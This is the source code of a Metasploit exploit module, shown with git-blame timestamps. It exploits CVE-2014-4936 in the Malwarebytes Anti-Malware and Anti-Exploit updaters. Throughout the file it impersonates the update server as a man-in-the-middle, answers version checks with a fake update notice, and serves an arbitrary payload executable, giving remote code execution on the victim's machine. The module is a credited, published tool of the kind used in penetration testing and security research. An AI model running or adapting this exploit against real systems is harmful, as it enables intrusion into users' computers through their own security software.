2015-02-03 14:05:11 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-02-03 14:05:11 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Exploit :: Remote
2015-02-05 12:36:47 -06:00
Rank = GoodRanking # Would be Great except MBAE doesn't version check
2015-02-03 14:05:11 -06:00
include Msf :: Exploit :: EXE
include Msf :: Exploit :: Remote :: HttpServer
VERSION_REGEX = / \/ v2 \/ (mbam|mbae) \/ consumer \/ version.chk /
2025-06-20 13:20:44 +01:00
EXE_REGEX = / \/ v2 \/ (mbam|mbae) \/ consumer \/ data \/ (mbam|mbae)-setup-(.*) \ .exe /
NEXT_VERSION = { mbam : '2.0.3.1025' , mbae : '1.04.1.1012' }
2015-02-03 14:05:11 -06:00
def initialize ( info = { } )
2025-06-20 13:20:44 +01:00
super (
update_info (
info ,
'Name' = > 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution' ,
'Description' = > %q{
This module exploits a vulnerability in the update functionality of
Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes
Anti-Exploit consumer 1.03.1.1220.
Due to the lack of proper update package validation, a man-in-the-middle
(MITM) attacker could execute arbitrary code by spoofing the update server
data-cdn.mbamupdates.com and uploading an executable. This module has
been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'Yonathan Klijnsma' , # Vulnerability discovery and PoC
2015-02-03 14:05:11 -06:00
'Gabor Seljan' , # Metasploit module
'todb' # Module refactoring
] ,
2025-06-20 13:20:44 +01:00
'References' = > [
2015-02-03 14:05:11 -06:00
[ 'CVE' , '2014-4936' ] ,
2022-06-10 08:47:41 -05:00
[ 'OSVDB' , '116050' ] ,
2025-02-07 12:36:11 +00:00
[ 'URL' , 'http://web.archive.org/web/20241212224255/http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and' ] # Discoverer's blog
2015-02-03 14:05:11 -06:00
] ,
2025-06-20 13:20:44 +01:00
'DefaultOptions' = > {
2015-02-03 14:05:11 -06:00
'EXITFUNC' = > 'process'
} ,
2025-06-20 13:20:44 +01:00
'Platform' = > 'win' ,
'Targets' = > [
2015-02-03 14:05:11 -06:00
[ 'Windows Universal' , { } ]
] ,
2025-06-20 13:20:44 +01:00
'Privileged' = > false ,
'DisclosureDate' = > '2014-12-16' ,
2025-06-23 12:00:29 +01:00
'DefaultTarget' = > 0 ,
'Notes' = > {
2025-06-23 12:43:46 +01:00
'Reliability' = > UNKNOWN_RELIABILITY ,
'Stability' = > UNKNOWN_STABILITY ,
'SideEffects' = > UNKNOWN_SIDE_EFFECTS
2025-06-23 12:00:29 +01:00
}
2025-06-20 13:20:44 +01:00
)
)
2015-02-03 14:05:11 -06:00
register_options (
[
OptPort . new ( 'SRVPORT' , [ true , " The daemon port to listen on (do not change) " , 80 ] ) ,
OptString . new ( 'URIPATH' , [ true , " The URI to use (do not change) " , " / " ] )
2025-06-20 13:20:44 +01:00
]
)
2015-02-03 14:05:11 -06:00
# Vulnerable Malwarebytes clients do not allow altering these.
deregister_options ( 'SSL' , 'SSLVersion' , 'SSLCert' )
end
def on_request_uri ( cli , request )
case request . uri
when VERSION_REGEX
serve_update_notice ( cli ) if set_exploit_target ( $1 , request )
when EXE_REGEX
serve_exploit ( cli )
else
vprint_status " Sending empty page for #{ request . uri } "
serve_default_response ( cli )
end
end
def serve_default_response ( cli )
send_response ( cli , '' )
end
def check_client_version ( request )
return false unless request [ 'User-Agent' ] =~ / base:( \ d+ \ . \ d+ \ . \ d+ \ . \ d+) /
2025-06-20 13:20:44 +01:00
2015-02-03 14:05:11 -06:00
this_version = $1
next_version = NEXT_VERSION [ :mbam ]
2025-06-20 13:20:44 +01:00
if Rex :: Version . new ( next_version ) > = Rex :: Version . new ( this_version )
2015-02-03 14:05:11 -06:00
return true
else
2015-02-03 14:10:47 -06:00
print_error " Version #{ this_version } of Anti-Malware isn't vulnerable, not attempting update. "
2015-02-03 14:05:11 -06:00
return false
end
end
def set_exploit_target ( package , request )
case package
when / mbam /i
if check_client_version ( request )
@client_software = [ 'Anti-Malware' , NEXT_VERSION [ :mbam ] ]
else
serve_default_response ( cli )
return false
end
when / mbae /i
# We don't get identifying info from MBAE
@client_software = [ 'Anti-Exploit' , NEXT_VERSION [ :mbae ] ]
end
end
def serve_update_notice ( cli )
2025-06-20 13:20:44 +01:00
software , next_version = @client_software
2015-02-03 14:05:11 -06:00
print_status " Updating #{ software } to (fake) #{ next_version } . The user may need to click 'OK'. "
send_response ( cli , next_version ,
2025-06-20 13:20:44 +01:00
'Content-Type' = > 'application/octet-stream' )
2015-02-03 14:05:11 -06:00
end
def serve_exploit ( cli )
print_status " Sending payload EXE... "
send_response ( cli , generate_payload_exe ,
2025-06-20 13:20:44 +01:00
'Content-Type' = > 'application/x-msdos-program' )
2015-02-03 14:05:11 -06:00
end
end